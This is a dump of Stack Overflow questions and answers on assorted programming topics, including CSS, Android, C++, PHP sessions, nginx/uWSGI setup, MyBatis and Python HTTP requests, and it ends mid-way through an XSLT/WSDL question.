13235095	0	Centered table and margins are not working? <p>I have noticed that this forum I have written is fine in most browsers although in IE8 its to the left and not centered.</p> <p>Its CSS is <code>margin: auto auto</code>, which works in most browsers.</p> <p>I don't want to resort to going old fashioned and putting align="center" in the actual table properties.</p> <p>Can anyone explain it ?</p> <p><a href="http://forum.bestlincs.co.uk/" rel="nofollow">http://forum.bestlincs.co.uk/</a></p>
30752481	0	Different views with different code behinds but one binary in Windows 10 <p>I have been reading <a href="http://visuallylocated.com/post/2015/04/02/Creating-different-page-views-for-Windows-Apps-based-on-the-device.aspx" rel="nofollow">this</a> which suggests that in windows 10 you can use different xaml views (with the same code behind) for different device families. </p> <p>My question is whether you can use different views with different code behinds for different device families and still produce one binary. </p> <p>I know that I can use two head projects with one shared project and achieve the behavior I want but that would produce two binaries. </p> <p><strong>EDIT</strong>: To make the question a little bit more specific. Can I add a blank page(for example) <strong>with its code behind</strong>, to the DeviceFamily-Mobile folder and then use it, or must I use only "codebehindless" xaml files in that folder?</p>
20061078	0	Finding cache cpi time <p>I need a formula or to at least be pointed in the right direction it involves cache and cpi time. I have a base machine that has a 2.4ghz clock rate it has L1 and L2 cache. L1 is 256k direct mapped write through . 90% read without a hit rate without penalty, miss penalty costs 4 cycles all writes take 1 cycle. L2 cache is 2mb, 4 way set associative write back. 99.5% hit rate 60 cycle miss penalty. 30% of all instructions are reads and 10% are writes all other instructions take one cycle.. I need to figure how to get the cpi. I know i have to find the base cpi but from there I'm not really sure where to go. Any tips on not just what the answer is but how is more important would be greatly appreciated. </p>
19855766	0	 <p>No, you can't do this. Everything you can do is add argument to command line to manage the heap size. </p> <p>A dirty solution can be to spawn another process with different heap size, but I don't think this is what you are looking for. <strong><a href="http://www.dreamincode.net/forums/topic/96263-how-to-set-heap-size/" rel="nofollow">Here</a></strong> there is an example.</p>
39460190	0	 <p>When chaining observables you need to use <code>flatMap()</code>.</p> <pre><code>Observable.fromPromise(this.storage.get('accessToken')) .flatMap(accessToken =&gt; this.http.post('http://1234/user/login', {'accessToken': accessToken}) ) .subscribe( result =&gt; console.log(result), error =&gt; console.log(error) ); </code></pre> <p>A good explanation of this concept is found here - <a href="http://reactivex.io/documentation/operators/flatmap.html" rel="nofollow">http://reactivex.io/documentation/operators/flatmap.html</a></p>
20144030	0	 <p>Currently there are 2 options for Git Source Control in Visual Studio (2010 and 12):</p> <ol> <li><a href="http://visualstudiogallery.msdn.microsoft.com/63a7e40d-4d71-4fbb-a23b-d262124b8f4c">Git Source Control Provider</a> </li> <li><a href="http://visualstudiogallery.msdn.microsoft.com/abafc7d6-dcaa-40f4-8a5e-d6724bdb980c">Microsoft Git Provider</a></li> </ol> <p>I have tried both and have found 1st one to be more mature, and has more features. For instance it plays nicely with both tortoise git and git extensions, and even exposed their features.</p> <p><strong>Note</strong>: Whichever extension you use, make sure that you enable it from <code>Tools -&gt; Options -&gt; Source control -&gt; Plugin Selection</code> for it to work.</p>
17810363	0	 <p>The lambda solution would be the idomatic C++11 way:</p> <pre><code>auto a = [&amp;]( int x ){ return superComplexAlgorithm( 3, 4, 5, x ); }; for( unsigned int i = 0; i &lt; 100; ++i ) do_stuff_with( a ); </code></pre> <p>The advantage of using a hand written functor is that you can:</p> <ol> <li>Move arguments into the capture, or transform them (you can do that with lambda in C++1y, but not yet -- this is also possible with <code>bind</code>)</li> <li>It has a non-anonymous type (so you can talk about the type without using <code>auto</code>) -- the same is true of <code>bind</code>, but it also has a non-anonymous <em>meaningful</em> type you can get at without <code>decltype</code>ing the entire expression! C++1y again makes this better for <code>bind</code>/lambda.</li> <li>You can do perfect forwarding of the remaining arguments (you might be able to do this in C++1y with a lambda, and <code>bind</code> does this)</li> <li>You can mess around with how the captured data is stored (in a pointer? a smart pointer?) without messing up the code where you create the instance.</li> </ol> <p>You can also do some extremely powerful things with hand written functors that are impossible to do with <code>bind</code> and lambdas, like wrap an overload set of multiple functions into one object (that may or may not share a name), but that kind of corner case isn't going to show up often.</p>
40169916	0	iOS - presentViewController like the image (Open iMessages app store in Messages) <p><img src="https://i.stack.imgur.com/MZnz9m.jpg" alt="Open iMessages app store in Messages Screenshot"></p> <p>I want present a <code>UINavigationController</code> like the image above, I use</p> <pre><code>nvc.modalPresentationStyle = UIModalPresentationFormSheet; </code></pre> <p>But I can't change the controller's size.</p> <p>This is how I did:</p> <pre><code>UIViewController *vc = [[UIViewController alloc] init]; vc.view.backgroundColor = [UIColor grayColor]; UINavigationController *nvc = [[UINavigationController alloc] initWithRootViewController:vc]; nvc.modalPresentationStyle = UIModalPresentationFormSheet; nvc.view.frame = CGRectInset(self.view.bounds, 20, 20); [self presentViewController:nvc animated:YES completion:nil]; </code></pre> <p>But the present viewController is still full screen.</p>
30548400	0	 <p>Twitter's Tweet Web Intent doesn't provide this functionality. You'd have to build a solution using either the REST or Streaming APIs. Even that would only work if the user's Tweets are public, or if they give you read access to their timeline.</p>
23930126	0	How to find the Config File location via ConfigurationManager? <p>How to find the Config File location via ConfigurationManager?</p> <p>I have the ConfigurationManager class in code and I'm debugging it. I'd like to know to which config file it's pointing to (web.config or app.config, etc).</p> <p>Is there any property or method on the ConfigurationManager that can help with this?</p>
4286075	0	Brightness Screen Filter <p>Does anyone have an idea how to implement an Brightness Screen Filter like the one here:</p> <p><a href="http://www.appbrain.com/app/screen-filter/com.haxor">http://www.appbrain.com/app/screen-filter/com.haxor</a></p> <p>I need a starting point and I can't figure out how to do it.</p>
32465762	0	 <p>I've found a solution. The problem was:</p> <pre><code> Intent intent = new Intent(myContext, myActivityClass); String s = stackTrace.toString(); //you can use this String to know what caused the exception and in which Activity intent.putExtra("uncaughtException", "Exception is: " + stackTrace.toString()); intent.putExtra("stacktrace", s); myContext.startActivity(intent); </code></pre> <p>Removing the startActivity, resolved the problem of the dialog, and still restarted the application as expected.</p> <p>EDIT:</p> <p>The dialog prompt but only because a second crashed occured because of missing data, so this answer is not correct...</p>
31700296	0	How to copy files with one extension to another extension <p>I have a.s b.s c.s d.s files in my current directory on my linux machine, I want to copy them to new extension .S like a.S b.S c.S d.S</p> <p>Please help me to do this.</p>
4640041	0	 <p>You can somehow try to compress the information somehow. You need to show the user if he has read a post, only if the user logs on, so you should store the information somewhere near the user. The user might look throught your posts in a date sorted way, so read-post-information of nearly dates should ly nearby, for efficient caching and reading of many values.</p> <p>Try a table with this stucture:</p> <ul> <li>user_id</li> <li>postmonth</li> <li>readposts_array</li> </ul> <p>Depending on how many posts you expect, you might use week or day instead of month. If you cache the value in your app, you might see a performance increase when displaying many posts.</p>
33746828	0	 <p>There's an old joke about two people at a natural history museum wondering how old a dinosaur fossil is. A guard overhears them and says, "Oh, it's five-hundred million and seven years old". One of the people says, "that's an astonshing number, how was it determined?" The guard says, "Well, I was told it was five-hundred million years old during my orientation, and that was seven years ago."</p> <p>This is the result of adding together two times with differing levels of precision. Say I start a clock at 12:03:06 and that clock only has minute resolution. If I add the time on my clock to the start time, I'll get a series of times like 12:03:06, 12:04:06, 12:05:06, and so on.</p> <p>Windows is adding the time from a monotonic clock with millisecond resolution and an arbitrary start time to the time at which that clock read zero with microsecond resolution.</p> <p>A common technique is simply to round the time to the resolution you are relying on, which of course must not be higher than the clock's guaranteed resolution. I believe the guaranteed resolution for this clock is 10 milliseconds.</p>
7892197	0	 <p>How often these images change is not up to Amazon but depends entirely on the publishers.</p> <p>I work for a publishing house and I can tell you from personal experience that a book cover can change quite frequently before going into print. Once it's available as physical product though (i.e. no more pre-order), it will remain the same until the next edition is published.</p>
17730157	0	 <p>To animate you'll need to define a starting state, and a target (or finished) state and an easing function to control the rate of change.</p> <p>Rather than start from scratch I'd suggest leveraging an existing solution, there is a LOT of code out there to help you do this.</p> <p>Check out: <a href="https://github.com/sole/tween.js" rel="nofollow">https://github.com/sole/tween.js</a></p>
38831165	0	 <p>You could also download Unity Remote 4 for your Mobile phone. It really helped me a lot : <a href="http://docs.unity3d.com/Manual/UnityRemote4.html" rel="nofollow">http://docs.unity3d.com/Manual/UnityRemote4.html</a></p> <p><strong>edit</strong>:</p> <ol> <li>Download &amp; install Unity Remote 4 on your device.</li> <li>Enable USB debugging on your device and connect it to your pc.</li> <li>Start Unity Remote 4 and then restart Unity.</li> <li>In Unity, navigate to: Edit -> Project Settings -> Editor.</li> <li>In the Inspector, you can select now under "Unity remote' your device.</li> <li>Hit the Play Button in Unity.</li> </ol>
34707711	0	How do I get two things to hit each other and then remove one from the scene? <p>I have four colored bars aligned horizontally. I also have some of the exact colors falling from the top of the screen which need to be matched with the bars at the bottom and then removed from the scene on contact. (If falling yellow bar hits bottom yellow bar, remove falling yellow bar from the scene) So, should I have eight different cases for each node in an enum instead of four? This is what it looks like now:</p> <pre><code>enum Bodies: UInt32 { case blueBar = 1 case redBar = 2 case yellowBar = 4 case greenBar = 8 } </code></pre> <p>Some of them are not doing what they're supposed to which is why I'm asking. Thanks in advance. </p>
15935282	0	breadth first search trouble [solved it] <p>Working on a breadth first search but cant seem to get it to work. The bfs is searching through an array of linked lists (an adjacency matrix). I followed the algorithm in my text book as well as looked over a few on the internet, but i think since that I am using an array of linked lists it's having trouble vs the standard of using a graph. Could anyone please help me resolve where the issues are occurring?</p> <p>This is my BFS method:</p> <pre><code>public static int bfs(List&lt;Integer&gt;[] smallWorld, int start){ int distance = 0; int size = smallWorld.length; //for each location in smallWorld do a bfs to every other location int u; int white = 0, grey = 1, black = 2; int [] color, d, pie; Queue &lt;Integer&gt; q = new &lt;Integer&gt; LinkedList(); color = new int [size]; d = new int [size]; pie = new int [size]; for( int x = 0; x &lt; size; x++){ //for all indexes in the smallWorld array color[x] = white; //color them white d[x] = -1; //make the distance array @ each index infinity (-1) pie[x] = -1; //make the pie array @ each index null (-1) } color[start] = grey; //At the starting / current index color it grey d[start] = 0; //the distance @ starting array is 0 obviously pie[start] = -1; //make pie array @ current index / starting index null (-1) q.addAll(smallWorld[start]); //enqueue the items adjacent to current index while(!q.isEmpty()){ //while the queue is not empty u = q.remove(); //dequeue the first item and set it to u for(int v = 0; v &lt; smallWorld[u].size(); v++){ //for every vertex u is adjacent to if(color[smallWorld[u].get(v)] == white){ //if the color is white of that adjacent vertex color[smallWorld[u].get(v)] = grey; //color it grey d[v] = d[u] + 1; //make the distance pie[v] = u; q.addAll(smallWorld[v]); } } color[u] = black; } int x = 0; while(d[x] != -1){ distance = distance + d[x]; x++; } return distance; } </code></pre> <p>I just dont see why the algorithm isn't working and I'm pretty sure I adjusted it to work with array of <code>LinkedList</code>s.</p>
25357876	0	Replacing double quotes while sending parameter to javascript function <p>This is JSFiddle :</p> <p><a href="http://jsfiddle.net/5kdek3vn/" rel="nofollow">http://jsfiddle.net/5kdek3vn/</a> </p> <p>I have button as follows:</p> <pre><code>&lt;button class="buttoncss" title="Modify This Artifact File" onclick="setFileDescriptionForUpdate('!@#$%^&amp;amp;*()_+-=~`{}|[]\:" ;'&amp;lt;&amp;gt;?,.="" ','state.dat','167','1','c:\\pp_artifactsuploadedfiles\evalid_318\state.dat');"&gt;Modify&lt;/button&gt; </code></pre> <p>in this on click i am calling <code>setFileDescriptionForUpdate</code> function whose first parameter is string and is as follows:</p> <pre><code>!@#$%^&amp;*()_+-=~`{}|[]\:";'&lt;&gt;?,./ </code></pre> <p>when " is involved in string it creates problem.</p> <p>What changes i can make to avoid this??</p> <p>Please help me.</p>
12863141	0	 <p>Do it programmatically at runtime? (In your <code>-applicationDidFinishLaunching:</code> delegate method)</p>
12561289	0	 <p>you should use <a href="http://regexkit.sourceforge.net" rel="nofollow">Regexkit Framework</a>, i found it the best solution for regex in iOS</p>
5480611	0	 <p>Just took a look, and its actually Adobe who owns it, and they sell it for money. So, my <em>best</em> guess is no, you couldn't legally use it for free. I have no idea if Adobe licenses it, though. Maybe you could try and find one that's licensed for web use, and is similar to Helvetica?</p>
17622590	0	 <p><em>I've moved the most important points from the comments.</em></p> <ol> <li><p>Yep, that's the normal behavior. Nginx's master process needs root privileges to manage listening sockets on the machine. <a href="http://forum.nginx.org/read.php?2,159000,159015#msg-159015" rel="nofollow">This</a> forum thread states that you <strong>can</strong> change it, but it may cause problems. However, Nginx does allow to change the owner of the worker processes.</p></li> <li><p>It depends on how the uWSGI was installed. If uWSGI was installed via <code>apt-get</code> you can start (stop, restart) it like this:</p> <p><code>service uwsgi &lt;action&gt;</code></p> <p>You installed uWSGI via <code>pip</code>, so the <a href="https://uwsgi-docs.readthedocs.org/en/latest/Options.html#daemonize" rel="nofollow">daemonize</a> option will do the trick:</p> <p><code>/path/to/uwsgi --daemonize /path/to/logfile</code></p> <p>You can start it under any user you want, BUT if you decide to run it under root, you should specify the <a href="https://uwsgi-docs.readthedocs.org/en/latest/Options.html#gid" rel="nofollow">gid</a> and <a href="https://uwsgi-docs.readthedocs.org/en/latest/Options.html#uid" rel="nofollow">uid</a> options. uWSGI's <a href="https://uwsgi-docs.readthedocs.org/en/latest/ThingsToKnow.html" rel="nofollow">best practices page</a> says:</p> <blockquote> <p>Common sense: do not run uWSGI instances as root. You can start your uWSGIs as root, but be sure to drop privileges with the uid and gid options.</p> </blockquote> <p>Also take a look at <a href="https://uwsgi-docs.readthedocs.org/en/latest/Options.html?highlight=uid#master-as-root" rel="nofollow">master-as-root</a> option.</p></li> <li><p>You can create as many processes and threads as you want, but it should depend on how many requests you're trying to process (concurrent or per second). You can read about this <a href="https://uwsgi-docs.readthedocs.org/en/latest/ThingsToKnow.html" rel="nofollow">here</a>. I would try different configurations and choose which one works better.</p> <p>3b. Basically, <code>worker_processes</code> helps to handle concurrent requests. See <a href="http://stackoverflow.com/questions/7325211/tuning-nginx-worker-process-to-obtain-100k-hits-per-min">this</a> question.</p></li> <li><p><em>*WARNING: you are running uWSGI without its master process manager*</em></p> <p>You didn't specify a <code>master</code> option in your .ini file. While master process is certainly unnecessary, it is very useful. It helps to effectively control workers and respawn them when they die.</p></li> </ol>
31617310	0	Check if there are more than 1 argument <p>I have a simple program that encrypts message using <code>Caesar Cipher</code>.</p> <p>The program works well, but I am unable to check whether the user is entering more than 1 argument. If he is, I need to break and prompt the user to enter the correct number of arguments which is <code>1</code>.</p> <p>If you enter more than 1 argument in terminal, say <code>./caesar 13 56 hello</code> it will still work but it shouldn't</p> <pre><code>int main(int argc, string argv[]) { int indexKey = 0; string message; if (argc &lt; 2 || atoi(argv[0]) &lt; 0 || atoi(argv[1]) &lt; 0) { printf("Please enter a non-negative integer as an argument.\n"); return 1; } else { indexKey = atoi(argv[1]); } </code></pre> <p>How do I prevent the user from entering too many arguments?</p>
4246473	0	 <p>50 decimal is 32 hexadecimal.</p> <p>Apart from that, the <a href="http://www.cplusplus.com/reference/clibrary/cstdio/printf/" rel="nofollow">documentation</a> should tell you all you need to know.</p>
34727887	0	 <p>Fixed it using some of the suggestions below.</p> <pre><code>$startDate = new DateTime(date("2012-4-1")); $endDate = new DateTime(date("Y-m-t", strtotime($startDate-&gt;format("Y-m-d")))); echo "The start date should be 2012-4-1: " . $startDate-&gt;format("Y-m-d") . "&lt;br /&gt;"; echo "The end date should be 2012-4-30: " . $endDate-&gt;format("Y-m-d") . "&lt;br /&gt;"; </code></pre> <p>I've verified that this works.</p>
5447072	0	 <p>The equality operator will attempt to make the data types the same before making the comparison. On the other hand, the identity operator requires both data types to be the same as a prerequisite.</p> <p>There are quite a few other posts out there similar to this questions. See:</p> <p><a href="http://stackoverflow.com/questions/80646/how-do-the-equality-double-equals-and-identity-triple-equals-compariso">How do the PHP equality (== double equals) and identity (=== triple equals) comparison operators differ?</a> (has a nice comparison chart)<br /> <a href="http://stackoverflow.com/questions/359494/javascript-vs-does-it-matter-which-equal-operator-i-use">Does it matter which equals operator (== vs ===) I use in JavaScript comparisons?</a></p> <p>In practice, the identity operator comes in really handy when you want to be certain that a boolean value is true or false since...</p> <pre><code>1 == true =&gt; true true == true =&gt; true 1 === true =&gt; false true === true =&gt; true </code></pre>
4639592	0	 <p>If you wanted to go down the route of iteratively testing each public method in the controller, you could do something like:</p> <pre><code>SomeController.public_instance_methods(false).each do |method| it "should do something" end </code></pre> <p>However, I think a shared example group (see about half way down this page: <a href="http://rspec.info/documentation/" rel="nofollow">http://rspec.info/documentation/</a>) would be prettier. If it were extracted so it could be used across all your controller specs, it'll be even nicer..</p> <pre><code>shared_examples_for "admin actions" do it "should require login" end </code></pre> <p>Then in each controller spec:</p> <pre><code>describe SomeController do it_should_behave_like "admin actions" end </code></pre>
20214430	0	SSRS Date Parameter Not working <p>I have two parameters for the report "StartDate" and "EndDate" respectively. They work fine in the chart filter expressions , however when I use the same in the series expression as CDate(Parameters!Startdate.Value) > CDate(Fields!InAck.value) of the chart to compare against a date column in the dataset and calculate the series value for datediff, it doesn't return the values promptly .</p>
37695583	0	Sorting conversations with belongs_to/has_many relationship <p>i have the following models:</p> <pre><code>class Post &lt; ActiveRecord::Base has_many :conversations end class Conversation &lt; ActiveRecord::Base belongs_to :user belongs_to :post has_many :messages end class Message &lt; ActiveRecord::Base belongs_to :conversation end </code></pre> <p>So there are Posts, and each post can have many conversations. In each conversation are many messages. So far so good.</p> <p>Now i wanna display an overview of all conversations a user has. It seems i can't get it to work the way i want:</p> <p>Get all conversations the current user has (<code>current_user.conversations</code>) group all conversations according to the Post ID they <code>belong_to</code> and rank this groups by date -> The group (of conversations) with the newest message should appear on top. Here is a screenshot of what i have so far. <a href="https://i.stack.imgur.com/SCOaM.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/SCOaM.png" alt="Sorting conversations"></a></p> <p>All covnerations should be grouped by Posts they belong to at every times. If any conversation has a new message in it, the whole group of conversations should move to the top of the view, not only the conversation with the new message. That's what i can't get to work.</p> <p>The screenshot above was made with the following code:</p> <pre><code>current_user.conversations.includes(:messages, post: :user).order("posts.id DESC, messages.created_at DESC").to_a.paginate( :page =&gt; params[:page], :per_page =&gt; 10 ) </code></pre> <p>As you can see in the screenshot, the conversations are grouped by their post id. But the second group should appear above the first group, because the conversation in the second group has the latest message in it.</p> <p>Any help is appreciated. Thanks a lot!</p>
38853562	0	Viewpager snaps to the wrong page after taking a photo <p>I am currently using a <strong>Viewpager</strong> implementation in my android app. In each of the fragment, there is a <strong>button</strong> that takes a photo and uploads it to an online database. However, due to the new permissions requirement, I needed to ask for permission. Hence, i would need to use the <strong><em>onRequestPermissionsResult()</em></strong> to continue uploading.</p> <p>Below is my implementation</p> <p>this is from the <strong>ViewPager.class</strong> (Since after permission is granted, this method in the Viewpager is called instead of the one in the fragment)</p> <pre><code>@Override public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) { switch (requestCode) { case REQUEST_TAKE_PHOTO: if (grantResults.length &gt; 0 &amp;&amp; grantResults[0] == PackageManager.PERMISSION_GRANTED) { //Permission granted to write and read file //Get the current fragment List&lt;Fragment&gt; fragments = getSupportFragmentManager().getFragments(); for (Fragment currFragment : fragments) { if (currFragment != null) currFragment.onRequestPermissionsResult( REQUEST_TAKE_PHOTO , permissions , grantResults); } } return; default: //Do nothing return; } } </code></pre> <p>this is from the <strong>fragment</strong> itself</p> <pre><code>@Override public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) { switch (requestCode) { case REQUEST_TAKE_PHOTO: if (grantResults.length &gt; 0 &amp;&amp; grantResults[0] == PackageManager.PERMISSION_GRANTED) { //Permission granted to write and read file uploadImage(); } return; default: //Do nothing return; } } </code></pre> <p>this part</p> <pre><code>List&lt;Fragment&gt; fragments = getSupportFragmentManager().getFragments(); for (Fragment currFragment : fragments) { if (currFragment != null) currFragment.onRequestPermissionsResult( REQUEST_TAKE_PHOTO , permissions , grantResults); } </code></pre> <p>is my attempt to find the <strong>correct fragment</strong> that clicked the button and call the <strong>OnRequestPermissionResult()</strong> method.</p> <p>However, I notice this weird behavior from <strong>Viewpager</strong>. The way I implemented it is that I click a <strong>Viewholder</strong> from a <strong>RecyclerView</strong>, then that enters that position in the ViewPager.</p> <p>The weird behavior is that for example, I entered page 2 from the <strong>RecyclerView</strong>. Then i swipe to page 4 and click the upload photo button, after the photo is done(via the in-build camera app), it will switch back to page 2.</p> <p>Why is that? How do I fix it? Sorry for a lengthy post. Just trying to get as much information out there. Thanks</p> <p>EDIT: This is how I call the requestPermission</p> <pre><code>@Override public void onActivityResult(int requestCode, int resultCode, Intent data) { if (resultCode != Activity.RESULT_OK) { return; } if (requestCode == REQUEST_TAKE_PHOTO) { //Request for permission to access file if (ContextCompat.checkSelfPermission(getActivity(), android.Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { //ask for permission ActivityCompat.requestPermissions(getActivity(), new String[]{android.Manifest.permission.WRITE_EXTERNAL_STORAGE}, REQUEST_TAKE_PHOTO); } else { uploadImage(); } } } </code></pre> <p>Is something wrong?</p> <p>Edit Post: This is the part where I called the notifyDataSetChange()</p> <pre><code>private void loadData() { mRef.addListenerForSingleValueEvent(new ValueEventListener() { @Override public void onDataChange(DataSnapshot dataSnapshot) { ArrayList&lt;RouteInstructions&gt; mList2 = new ArrayList&lt;RouteInstructions&gt;(); for (DataSnapshot instructions : dataSnapshot.getChildren()) { mList2.add(instructions.getValue(RouteInstructions.class)); } mList = mList2; mAdapter.notifyDataSetChanged(); mPager.setCurrentItem(getIntent().getIntExtra(EXTRA_INDEX, 0)); } @Override public void onCancelled(DatabaseError databaseError) { } }); } </code></pre>
27476257	0	Trouble with layer(geom="line") in ggplot <p>I would like to plot a line chart in ggplot2. Here is how my data look like</p> <pre><code>query,trace,precision,recall safe.order.q3.txt,rstr_oper_50000_100m,49.8406,24.9156 safe.order.q3.txt,sstr_cpu_50000_100m,49.774,24.8442 safe.order.q3.txt,sstr_oper_50000_100m,49.8735,24.885 safe.sem.q1.txt,ran_50000_100m,74.9204,24.8125 safe.sem.q1.txt,sys_50000_100m,58.1995,11.8975 safe.sem.q1.txt,rstr_cpu_50000_100m,75.6115,25.1855 safe.sem.q1.txt,rstr_oper_50000_100m,75.2262,24.9382 safe.sem.q1.txt,sstr_cpu_50000_100m,74.997,25.0963 safe.sem.q1.txt,sstr_oper_50000_100m,75.4195,25.3233 safe.sem.q2.txt,ran_50000_100m,78.6449,24.6323 safe.sem.q2.txt,sys_50000_100m,10.9353,0.255188 safe.sem.q2.txt,rstr_cpu_50000_100m,79.3762,24.6961 </code></pre> <p>And here is the ggplot code that I store in the file <code>recprec.r</code></p> <pre><code>w &lt;- read.csv(file="../queryResults/comparison.100m.dat", head=TRUE, sep=",") sem1 &lt;- subset(w, query=="safe.sem.q1.txt") p1 &lt;- ggplot(data=sem1, aes(x=trace, y=precision)) + layer(geom="line") + geom_text(aes(y=precision + .4, label=precision)) print(p1) </code></pre> <p>The execution of the code produce the following error and the char depicted in the image below where lines between values are not displayed</p> <pre><code>&gt; source("recprec.r") geom_path: Each group consist of only one observation. Do you need to adjust the group aesthetic? </code></pre> <p><img src="https://i.stack.imgur.com/UEvUi.png" alt="enter image description here"></p> <p>What did I missed ?</p>
1772088	0	 <p>I often add collection-based update_multiple and destroy_multiple actions to an otherwise RESTful controller.</p> <p>Check out this <a href="http://railscasts.com/episodes/52-update-through-checkboxes" rel="nofollow noreferrer">Railscast</a> on Updating Through Checkboxes. It should give you a good idea how to approach it, come back and add to this question if you run into troubles!</p>
23935035	0	 <p>You can use following doc type. However I find some discrepancy in the code you have copied. Are you sure of INSERT and SELECT statements. I hope its copy mistake</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"&gt; &lt;mapper namespace="com.javacodegeeks.snippets.enterprise.UserMapper"&gt; &lt;select id="addUser" parameterType="int" resultType="com.javacodegeeks.snippets.enterprise.User"&gt; insert into * from users where id = #{id} &lt;/select&gt; &lt;select id="getUser" parameterType="int" resultType="com.javacodegeeks.snippets.enterprise.User"&gt; select * from com.javacodegeeks.snippets.enterprise.User where id = #{id} &lt;/select&gt; &lt;/mapper&gt; </code></pre>
23093328	0	Can Visual Studio 2013 show mixins from referenced files <p>When I hover over a mixin it shows me the properties, which is awesome!</p> <p>However, I have many referenced files and it does not show those. It says, "Undeclared mixin". Seems this would be a standard feature considering that many break up styles into like sections (reset, grid, fonts, etc.).</p> <p>thanks.</p>
32415813	0	 <p>As Luksprog mentioned in the comment, ListAdapter is not filterable, you would have either have to create a customAdapter by extending the listadapter and implementing filterable in that object, or use an adapter provided by the sdk that implementals filterable</p>
6742928	0	 <p>Here are a few links that you might find interesting. There is an example of creating a two-activity application, and then implementing fragments into it. </p> <p><a href="http://mobile.tutsplus.com/tutorials/android/android-sdk_fragments/">Android User Interface Design: Working With Fragments</a></p> <p><a href="http://mobile.tutsplus.com/tutorials/android/android-compatibility-working-with-fragments/">Android Compatibility: Working with Fragments</a></p> <p>Hope this helps.</p>
23457152	0	Will calling window.setInterval open a new thread in chrome? <p>I've read that all browsers except chrome have javascript code running in a single thread. I'm not even sure if this is still true, but assuming it is: Will calling window.setInterval multiple times open multiple threads in chrome?</p>
13727776	0	Sampling HBase table keyspace <p>I'd like to build random samples of a HBase table's rowkey space.</p> <p>Say, I'd like to have roughly 1% of the keys from HBase that are randomly distributed across the table. What's the best way of doing this?</p> <p>I suppose I could write a MapReduce job that processed all the data and pulled 1/100 of the keys... or perhaps use a coprocessor.</p>
17706796	0	recording uplink and downlink separately in different file at once <p>Have anyone tried saving uplink and downlink separately at once in different file? Or saving uplink and uplink+both side in different file.</p> <p>I found that in a different post that it might be possible using thread because recording channel stays busy. Anyone succeed to do that? Please give me some workable source if possible. </p> <p>Is it possible at all or not?</p>
36819186	0	Cloud Foundry compatibility with DBs <p>I have a set of restful services connecting to Oracle , MySQL and Phoenix DBs. These are running on tomcat. I have to migrate these services to pivotal cloud foundry. Is it sufficient if I externalize the connection parameters potentially using cloud config server or env variables to connect to these databases or is there anything additional that I need to do? I assume any db which works with a java application deployed outside cloud foundry will work when the app is deployed to pivotal cloud foundry. Please correct me if my assumption is incorrect.</p>
33726802	0	Destroy PHP session after set amount of time (not due to inactivity) <p>I have read numerous posts about destroying a PHP session after a set amount of time, but many of the answers don't clarify whether the solution works for inactivity or for a set period of time. Let me expound.</p> <p>I am using php to generate and grade a quiz. Each question is dynamically generated and the user must hit the submit button to move on to the next question, thereby generating a request to the php script. </p> <p>I want the user to only have 15 total minutes to complete it. In other words, if it takes the user 6 minutes to do the first 3 problems, then the user has 9 minutes left to do the other 3 problems.</p> <p>If you set your inactive time to 15 minutes, then presumably the user has 15 minutes in-between requests to the webpage, correct? <a href="http://stackoverflow.com/questions/520237/how-do-i-expire-a-php-session-after-30-minutes">This</a> is the solution that this answer provides I believe.</p> <p>However, that is not what I need. I need for the session to terminate after 15 total minutes from the start, regardless of whenever the last request was made by the user.</p> <p>Thank you</p>
8705962	1	python: HTTP PUT with unencoded binary data <p>I cannot for the life of me figure out how to perform an HTTP PUT request with verbatim binary data in Python 2.7 with the standard Python libraries.</p> <p>I thought I could do it with urllib2, but <a href="http://stackoverflow.com/questions/7983303/python-http-put-with-binary-data">that fails</a> because <a href="http://docs.python.org/library/urllib2.html#urllib2.Request"><code>urllib2.Request</code></a> expects its data in <code>application/x-www-form-urlencoded</code> format. I do not want to encode the binary data, I just want to transmit it verbatim, after the headers that include </p> <pre><code>Content-Type: application/octet-stream Content-Length: (whatever my binary data length is) </code></pre> <p>This seems so simple, but I keep going round in circles and can't seem to figure out how. </p> <p>How can I do this? (aside from open up a raw binary socket and write to it)</p>
38391669	0	Lazy Load Directives in Angular2 <p>I could not really find an answer on SO about this, so if there exists a solution or even best practice about lazy loading of directives in Angular (RC4), I would be happy to hear.</p>
6731094	0	 <p>wait... what do you mean by test script we're using rack/test right</p> <p>imho a sinatra app will be much more test-friendly if your main app class can be started independent of config.ru</p> <p>such that you can require just 'rack/test' and 'app.rb' in your test files</p>
1854259	0	Are there any lightweight ASP.NET MVC-based frameworks supporting OpenID? <p>I am looking for a lightweight framework that will allow me to knock out a MVC CRUD website very quickly, and I need it to support OpenID.</p> <p>Is there anything like this?</p>
12711657	0	 <p>you can publish the code under Apache License, however the runtime would be under GPL. Got any details? </p>
10754867	0	xml transform using XSLT, order by alphabet in inner node <p>I have next WSDL file</p> <pre><code> &lt;definitions targetNamespace="http://soft.com/" name="LoggingWebService" xmlns="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://ws.config.softid.softcomputer.com/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"&gt; &lt;types&gt; &lt;xsd:schema&gt; &lt;xsd:import namespace="http://soft.com/" schemaLocation="my.xsd"/&gt; &lt;/xsd:schema&gt; &lt;/types&gt; &lt;message name="log"&gt; &lt;part name="parameters" element="tns:log"/&gt; &lt;/message&gt; &lt;message name="getLogs"&gt; &lt;part name="parameters" element="tns:getLogs"/&gt; &lt;/message&gt; &lt;portType name="LoggingWebService"&gt; &lt;operation name="log"&gt; &lt;input message="tns:log"/&gt; &lt;/operation&gt; &lt;operation name="getLogs"&gt; &lt;input message="tns:getLogs"/&gt; &lt;output message="tns:getLogsResponse"/&gt; &lt;/operation&gt; &lt;/portType&gt; &lt;/definitions&gt; </code></pre> <p>I want transform this file using <code>javax.transformation</code> to another file, where <code>messages</code> will be ordered by alphabet (using string in 'name'). </p> <pre><code>&lt;definitions targetNamespace="http://soft.com/" name="LoggingWebService" xmlns="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://ws.config.softid.softcomputer.com/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"&gt; &lt;types&gt; &lt;xsd:schema&gt; 